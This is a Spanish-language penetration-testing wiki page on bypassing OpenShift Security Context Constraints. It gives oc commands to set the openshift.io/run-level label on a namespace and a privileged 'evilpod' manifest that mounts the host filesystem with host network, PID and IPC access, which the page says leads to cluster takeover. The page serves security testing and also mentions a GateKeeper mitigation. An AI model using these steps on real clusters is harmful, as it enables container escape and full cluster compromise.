# Openshift - SCC bypass

**El autor original de esta página es** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)

## Namespaces privilegiados

Por defecto, SCC no se aplica en los siguientes proyectos:

- **default**
- **kube-system**
- **kube-public**
- **openshift-node**
- **openshift-infra**
- **openshift**

Si despliegas pods dentro de uno de esos namespaces, no se aplicará SCC, lo que permitirá el despliegue de pods privilegiados o el montaje del sistema de archivos del host.

## Etiqueta de Namespace

Hay una manera de deshabilitar la aplicación de SCC en tu pod según la documentación de RedHat. Necesitarás tener al menos uno de los siguientes permisos:

- Crear un Namespace y Crear un Pod en este Namespace
- Editar un Namespace y Crear un Pod en este Namespace
```bash
$ oc auth can-i create namespaces
yes

$ oc auth can-i patch namespaces
yes
```
La etiqueta específica `openshift.io/run-level` permite a los usuarios eludir los SCC para aplicaciones. Según la documentación de RedHat, cuando se utiliza esta etiqueta, no se aplican SCC a todos los pods dentro de ese espacio de nombres, eliminando efectivamente cualquier restricción.

<figure><img src="../../../images/Openshift-RunLevel4.png" alt=""><figcaption></figcaption></figure>

## Agregar Etiqueta

Para agregar la etiqueta en tu espacio de nombres:
```bash
$ oc label ns MYNAMESPACE openshift.io/run-level=0
```
Para crear un espacio de nombres con la etiqueta a través de un archivo YAML:
```yaml
apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0
```
Ahora, todos los nuevos pods creados en el namespace no deberían tener ningún SCC

<pre class="language-bash"><code class="lang-bash"><strong>$ oc get pod -o yaml | grep 'openshift.io/scc'
</strong><strong>$
</strong></code></pre>

En ausencia de SCC, no hay restricciones en la definición de tu pod. Esto significa que se puede crear fácilmente un pod malicioso para escapar al sistema host.
```yaml
apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:
```
Ahora, se ha vuelto más fácil escalar privilegios para acceder al sistema host y, posteriormente, tomar el control de todo el clúster, obteniendo privilegios de 'cluster-admin'. Busca la parte de **Node-Post Exploitation** en la siguiente página:

{{#ref}}
../../kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
{{#endref}}

### Etiquetas personalizadas

Además, según la configuración del objetivo, se pueden utilizar algunas etiquetas / anotaciones personalizadas de la misma manera que en el escenario de ataque anterior. Incluso si no están destinadas para ello, las etiquetas podrían usarse para otorgar permisos, restringir o no un recurso específico.

Intenta buscar etiquetas personalizadas si puedes leer algunos recursos. Aquí hay una lista de recursos interesantes:

- Pod
- Deployment
- Namespace
- Service
- Route
```bash
$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5
```
## Listar todos los espacios de nombres privilegiados
```bash
$ oc get project -o yaml | grep 'run-level' -b5
```
## Explotación avanzada

En OpenShift, como se demostró anteriormente, tener permiso para desplegar un pod en un namespace con la etiqueta `openshift.io/run-level` puede llevar a una toma de control directa del clúster. Desde la perspectiva de la configuración del clúster, esta funcionalidad **no se puede desactivar**, ya que es inherente al diseño de OpenShift.

Sin embargo, medidas de mitigación como **Open Policy Agent GateKeeper** pueden prevenir que los usuarios establezcan esta etiqueta.

Para eludir las reglas de GateKeeper y establecer esta etiqueta para ejecutar una toma de control del clúster, **los atacantes necesitarían identificar métodos alternativos.**

## Referencias

- [https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html](https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html)
- [https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html](https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html)
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)